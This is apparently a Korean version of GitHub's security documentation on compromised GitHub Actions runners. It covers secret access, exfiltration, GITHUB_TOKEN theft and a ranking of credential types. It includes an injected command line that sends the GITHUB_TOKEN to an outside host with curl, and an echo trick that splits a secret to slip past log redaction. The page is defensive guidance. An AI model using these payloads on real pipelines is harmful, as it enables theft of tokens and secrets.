손상된 러너(Compromised runners) 살펴보기

손상된 러너(Compromised runners) 살펴보기

손상된 GitHub Actions 러너와 관련된 보안 위험을 이해하는 내용이에요.

출처: Compromised runners

본문

손상된 러너의 잠재적 영향

이 섹션들에서는 공격자가 GitHub Actions 러너에서 악성 명령을 실행할 수 있게 됐을 때 취할 수 있는 몇 가지 단계를 살펴봐요.

[!NOTE] GitHub 호스팅 러너는 사용자가 작업 중에 다운로드한 악성 코드(예: 손상된 서드 파티 라이브러리)를 스캔하지 않아요.

비밀(secret)에 접근하기

pull_request 이벤트를 사용해 포크된 리포지토리에서 트리거된 워크플로는 읽기 전용 권한이며 비밀에 접근할 수 없어요. 하지만 이 권한은 issue_comment, issues, push, 리포지토리 안의 브랜치에서 온 pull_request 같은 다양한 이벤트 트리거에서는 달라져요. 이 경우 공격자는 리포지토리 비밀을 훔치거나 작업의 GITHUB_TOKEN 쓰기 권한을 사용하려고 시도할 수 있어요.

  • 비밀 또는 토큰이 환경 변수로 설정돼 있으면 printenv를 사용해 환경을 통해 직접 접근할 수 있어요.

  • 비밀이 표현식에서 직접 사용되면 생성된 셸 스크립트가 디스크에 저장되고 접근할 수 있게 돼요.

  • 사용자 지정 액션의 경우 프로그램이 인수에서 얻은 비밀을 어떻게 사용하는지에 따라 위험이 달라질 수 있어요:

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

GitHub Actions는 워크플로(또는 포함된 액션)에서 참조되지 않는 비밀을 메모리에서 지우지만, GITHUB_TOKEN과 참조된 비밀은 결심한 공격자가 훔칠 수 있어요.

러너에서 데이터 유출(Exfiltration)

공격자는 훔친 비밀 또는 기타 데이터를 러너에서 유출할 수 있어요. 우발적인 비밀 노출을 방지하기 위해 GitHub Actions는 로그에 인쇄된 비밀을 자동으로 가립니다(redact). 하지만 비밀을 의도적으로 로그로 보낼 수 있기 때문에 이것은 진정한 보안 경계는 아니에요. 예를 들어 난독화된 비밀은 echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};을 사용해 유출할 수 있어요. 또한 공격자는 임의 명령을 실행할 수 있으므로 HTTP 요청을 사용해 비밀 또는 기타 리포지토리 데이터를 외부 서버로 보낼 수 있어요.

작업의 GITHUB_TOKEN 훔치기

공격자가 작업의 GITHUB_TOKEN을 훔치는 것이 가능해요. GitHub Actions 러너는 워크플로를 포함하는 리포지토리로만 제한된 권한을 가진 생성된 GITHUB_TOKEN을 자동으로 받고, 토큰은 작업이 완료된 후 만료돼요. 만료되면 토큰은 공격자에게 더 이상 유용하지 않게 돼요. 이 제한을 우회하기 위해 공격자는 공격을 자동화해서 몇 분의 일 초 안에 수행할 수 있어요. 예를 들어 토큰으로 공격자 제어 서버를 호출하는 방식이에요: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

리포지토리 내용 수정하기

공격자 서버는 GitHub API를 사용해 릴리스를 포함한 리포지토리 내용을 수정할 수 있어요. 단 GITHUB_TOKEN의 할당된 권한이 제한되지 않은 경우에요.

교차 리포지토리 접근(Cross-repository access)

GitHub Actions는 의도적으로 한 번에 단일 리포지토리로 범위가 제한돼요. GITHUB_TOKEN은 쓰기 권한 사용자와 동일한 수준의 접근 권한을 부여해요. 왜냐하면 쓰기 권한 사용자는 필요하면 GITHUB_TOKEN의 권한을 높여 워크플로 파일을 만들거나 수정해서 이 토큰에 접근할 수 있기 때문이에요. 사용자는 리포지토리마다 특정 권한을 갖기 때문에, 한 리포지토리의 GITHUB_TOKEN이 다른 리포지토리에 대한 접근을 허용하게 만드는 것은 신중하게 구현하지 않으면 GitHub 권한 모델에 영향을 줄 수 있어요. 마찬가지로 워크플로에 GitHub 인증 토큰을 추가할 때도 주의해야 해요. 협업자에게 의도치 않게 광범위한 접근 권한을 부여해 GitHub 권한 모델에 영향을 줄 수 있기 때문이에요.

조직이 엔터프라이즈 계정이 소유한 경우 내부 리포지토리에 GitHub Actions를 저장해 공유·재사용할 수 있어요. 자세한 내용은 엔터프라이즈와 액션·워크플로 공유하기를 참고하세요.

워크플로 안에서 GitHub 인증 토큰이나 SSH 키를 비밀로 참조해 다른 권한 높은 교차 리포지토리 상호작용을 수행할 수도 있어요. 많은 인증 토큰 유형이 특정 리소스에 대한 세밀한 접근을 허용하지 않으므로 잘못된 토큰 유형을 사용하면 의도한 것보다 훨씬 광범위한 접근 권한을 부여할 수 있기 때문에 상당한 위험이 있어요.

이 목록은 워크플로 내에서 리포지토리 데이터에 접근하기 위한 권장 방식을 선호도가 높은 순서대로 나열한 거예요:

  1. GITHUB_TOKEN
    • 이 토큰은 의도적으로 워크플로를 호출한 단일 리포지토리로 범위가 제한되며, 리포지토리의 쓰기 권한 사용자와 동일한 수준의 접근 권한을 가질 수 있어요. 토큰은 각 작업이 시작되기 전에 생성되고 작업이 끝나면 만료돼요. 자세한 내용은 워크플로에서 GITHUB_TOKEN으로 인증하기를 참고하세요.
    • 가능하면 항상 GITHUB_TOKEN을 사용해야 해요.
  2. 리포지토리 배포 키(Repository deploy key)
    • 배포 키는 단일 리포지토리에 읽기 또는 쓰기 접근 권한을 부여하는 몇 안 되는 자격 증명 유형 중 하나이며, 워크플로 내에서 다른 리포지토리와 상호작용하는 데 사용할 수 있어요. 자세한 내용은 배포 키 관리하기를 참고하세요.
    • 배포 키는 Git을 사용해 리포지토리를 클론하고 푸시하는 것만 할 수 있고 REST 또는 GraphQL API와 상호작용하는 데는 사용할 수 없으므로 요구사항에 맞지 않을 수 있다는 점을 알아두세요.
  3. GitHub App 토큰
    • GitHub App은 선택된 리포지토리에 설치할 수 있고, 그 리소스에 대해 세밀한 권한을 가질 수도 있어요. 조직 내부의 GitHub App을 만들어 워크플로에서 접근이 필요한 리포지토리에 설치하고, 워크플로 안에서 설치로 인증해 그 리포지토리에 접근할 수 있어요. 자세한 내용은 GitHub Actions 워크플로에서 GitHub App으로 인증된 API 요청 만들기를 참고하세요.
  4. 개인 액세스 토큰(Personal access tokens)
    • 개인 액세스 토큰(classic)은 절대 사용하면 안 돼요. 이 토큰은 접근 권한이 있는 조직 내 모든 리포지토리와 개인 계정의 모든 개인 리포지토리에 접근 권한을 부여해요. 이는 간접적으로 워크플로가 있는 리포지토리의 모든 쓰기 권한 사용자에게 광범위한 접근 권한을 부여하게 돼요.
    • 개인 액세스 토큰을 사용한다면 자신의 계정의 개인 액세스 토큰은 절대 사용하면 안 돼요. 나중에 조직을 떠나면 이 토큰을 사용하는 워크플로가 즉시 깨지고 이 문제를 디버깅하기 어려울 수 있어요. 대신 조직에 속한 새 계정용으로 세밀한(fine-grained) 개인 액세스 토큰을 만들어 워크플로에 필요한 특정 리포지토리에만 접근 권한을 부여해야 해요. 이 방식은 확장 가능하지 않으므로 배포 키 같은 대안을 선호해야 한다는 점에 주의하세요.
  5. 개인 계정의 SSH 키
    • 워크플로는 개인 계정의 SSH 키를 절대 사용하면 안 돼요. 개인 액세스 토큰(classic)과 비슷하게, 이 키는 모든 개인 리포지토리와 조직 멤버십으로 접근할 수 있는 모든 리포지토리에 읽기/쓰기 권한을 부여해요. 이는 간접적으로 워크플로가 있는 리포지토리의 모든 쓰기 권한 사용자에게 광범위한 접근 권한을 부여하게 돼요. 리포지토리 클론이나 푸시만 수행하고 공개 API와 상호작용할 필요가 없어서 SSH 키를 사용하려는 경우라면 개별 배포 키를 사용해야 해요.

다음 단계

GitHub Actions의 보안 모범 사례는 안전한 사용 참조(secure use reference)를 참고하세요.

더 알아보기 (Learn more)